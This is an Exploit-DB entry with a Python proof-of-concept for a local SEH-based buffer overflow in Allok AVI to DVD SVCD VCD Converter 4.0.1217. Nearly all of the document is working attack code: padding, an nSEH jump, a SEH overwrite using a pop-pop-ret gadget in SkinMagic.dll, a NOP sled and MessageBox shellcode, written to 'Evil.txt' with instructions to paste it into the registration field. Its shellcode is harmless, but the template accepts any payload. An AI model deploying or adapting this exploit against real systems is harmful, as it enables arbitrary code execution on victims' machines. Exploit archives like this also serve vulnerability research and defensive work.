Allok AVI to DVD SVCD VCD Converter 4.0.1217 - Buffer Overflow (SEH)

EDB-ID:
44549

CVE:
N/A

EDB Verified: ×

Author:
T3JV1L

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2018-04-26

Vulnerable App:

```
############################################################
# Exploit Title: Allok AVI to DVD SVCD VCD Converter 4.0.1217 - Buffer
Overflow (SEH)
# Date: 25.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:http://www.alloksoft.com/
# Software: www.alloksoft.com/allok_avi2dvd.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: Allok AVI to DVD SVCD VCD Converter 4.0.1217
# Tested on: Windows 7 SP1 x86
# Method Corelan Coder : https://www.corelan.be/index.php/2009/07/28/seh-
based-exploit-writing-tutorial-continued-just-another-example-part-3b/
############################################################

print"""
#1.  Download and install the setup file
#2.  Run this exploit code via python 2.7
#3.  A file "Evil.txt" will be created
#4.  Copy the contents of the file (Evil.txt)and paste in the License Name
field
#5.  Click Register and BOMM !!!! """

import struct



junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh  = struct.pack("<L",0x10019A09)  # pop edi, pop esi, ret
[SkinMagic.dll]
nop = "\x90" * 20

#Windows - MessageBox + Null-Free Shellcode (113 bytes) : BrokenByte

buf= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

crush = "T" * (4000 - len(junk + nseh + seh + nop + buf))
exploit = junk + nseh + seh + nop + buf + crush
try:
    file = open("Evil.txt","wb")
    file.write(exploit)
    file.close()
except:
    print "[+] Don't Crush me !"
```

Tags: Local

Advisory/Source: Link